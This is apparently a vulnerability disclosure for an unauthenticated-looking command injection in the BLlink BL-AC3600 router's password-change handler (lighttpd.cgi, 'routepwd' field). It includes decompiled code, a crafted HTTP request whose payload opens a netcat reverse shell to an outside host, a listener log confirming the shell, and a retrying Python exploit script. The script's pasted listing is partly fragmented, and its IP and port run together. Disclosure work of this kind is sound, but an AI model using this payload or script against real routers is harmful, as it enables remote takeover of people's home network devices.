BLlink_en

BL-AC3600

Version 1.0.22

The password modification function lacks content filtering, resulting in a command injection vulnerability.

Technical Analysis:

```
  v14 = ((int (__fastcall *)(_DWORD, int))cJSON_CreateNumber_0)(0, 1072693248);
  cJSON_AddItemToObject_1(v17, v31, v14);
  goto LABEL_21;
}
v25 = *(_DWORD *)(v7 + 16);
strlen_1 = (int (__fastcall *)(int))strlen_0;
if ( ((int (__fastcall *)(int))strlen_0)(v25) != 9 || ((int (__fastcall *)(int, char *, int))memcmp_0)(v25, v32, 9) )
{
  n1072693248 = 1072693248;
  goto LABEL_19;
}
v33 = &aRoutepwd[dword_3FAFC - 0x20000];
v8 = cJSON_GetObjectItem_2(v24, v33);
if ( v8 )
{
  memset_2 = (void (__fastcall *)(_BYTE *, _DWORD, int))memset_0;
  memset_0(v37, 0, sizeof(v37));
  v9 = *(_DWORD *)(v8 + 16);
  if ( (unsigned int)(strlen_1(v9) + 1) >= 0x81 )
    goto LABEL_8;
  strcpy_1(v37, v9);
  if ( ((int (__fastcall *)(char *, char *, char *, _BYTE *))easy_uci_set_option_string_0)(
         &aSystem[dword_3FAFC - 0x20000],
         &aRoute[dword_3FAFC - 0x20000],
         v33,
         v37) == -1 )
  {
    ((void (__fastcall *)(int, char *))syslog_0)(3, &aSetPasswordToS[dword_3FAFC - 0x20000]);
  }
  else
  {
    memset_2(v36, 0, 128);
    if ( (unsigned int)(((int (__fastcall *)(_BYTE *, int, char *, _BYTE *))snprintf_0)(
                          v36,
                          128,
                          &aChpasswdShRoot[dword_3FAFC - 0x20000],
                          v37)
                      + 1) >= 0x81 )
      goto LABEL_8;
    ((void (__fastcall *)(_BYTE *))system_0)(v36);
  }
}
v27 = &aRouteusr[dword_3FAFC - 0x20000];
v10 = cJSON_GetObjectItem_2(v24, v27);
```

- `v8` is a pointer to the `routepwd` field
- `v9` represents the user-input value
- The `strcpy` function copies the value of `v9` to `v37`
- `easy_uci_set_option_string_0` concatenates "chpasswd.sh root" with `v37` and passes it to `v36`
- The concatenated string is directly executed by the `system` function
-

Proof of Concept:

1. Craft malicious request packet

```
美化    Raw    Hex                                                    \n  ☰
1 POST /cgi-bin/lighttpd.cgi HTTP/1.1
2 Host: 192.168.242.146:4567
3 Content-Length: 85
4 Accept: application/json, text/plain, */*
5 Authorization: e6134549b502df3372b6402ef29b004d
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93
  Safari/537.36
7 Content-Type: application/x-www-form-urlencoded
8 Origin: http://192.168.242.146:4567
9 Referer: http://192.168.242.146:4567/html/index.html
0 Accept-Encoding: gzip, deflate
1 Accept-Language: zh-CN,zh;q=0.9
2 Cookie: user=admin
3 Connection: close
4
5 {
    "type":"setmanpwd",
    "routepwd":
    "|/firmadyne/busybox nc 192.168.16.2 2333 -e /bin/sh"
  }
```

2. Observe "Operation Successful" response

3. Successfully establish reverse shell

```
[21]+  已停止                 nc -n -lvp 2333
blonet@blonet:~/Desktop$ nc -n -lvp 2333
Listening on 0.0.0.0 2333
Connection received on 192.168.16.1 50190
ls
backup.cgi
lighttpd.cgi
luci
recover.cgi
upload.cgi
```

Vulnerability Validation:

Command injection confirmed through reverse shell acquisition.

POC

Plain Text

```
import socket
import time

target_host = "192.168.242.146"
target_port = 4567

http_request = (
    "POST /cgi-bin/lighttpd.cgi HTTP/1.1\r\n"
    "Host: 192.168.242.146:4567\r\n"
    "Content-Length: 85\r\n"
    "Accept: application/json, text/plain, */*\r\n"
    "Authorization: e6134549b502df3372b6402ef29b004d\r\n"
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    "Origin: http://192.168.242.146:4567\r\n"
    "Referer: http://192.168.242.146:4567/html/index.html\r\n"
    "Accept-Encoding: gzip, deflate\r\n"
    "Accept-Language: zh-CN,zh;q=0.9\r\n"
    "Cookie: user=admin\r\n"
    "Connection: close\r\n"
    "\r\n"
    r'{"type":"setmanpwd","routepwd":"|/firmadyne/busybox nc 192.168.16.22333 -e /bin/sh"}'
)

num_attempts = 10
interval = 2

for i in range(num_attempts):
    print(f"Attempt {i+1}/{num_attempts}...")
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target_host, target_port))
        s.sendall(http_request.encode())

        try:
            response = s.recv(1024)
            print("Response received:", response.decode())
            # break
        except socket.timeout:
            print("No response received within timeout.")
        except Exception as e:
            print(f"Error receiving response: {e}")
```

```
44
45          except socket.timeout:
46              print("Connection timed out.")
47          except Exception as e:
48              print(f"Error sending request: {e}")
49          finally:
50              if 's' in locals() and s.fileno() != -1:
51                   s.close()
52
53          if i < num_attempts - 1:
54              print(f"Waiting for {interval} seconds...")
55              time.sleep(interval)
56
57      print("Finished all attempts.")
```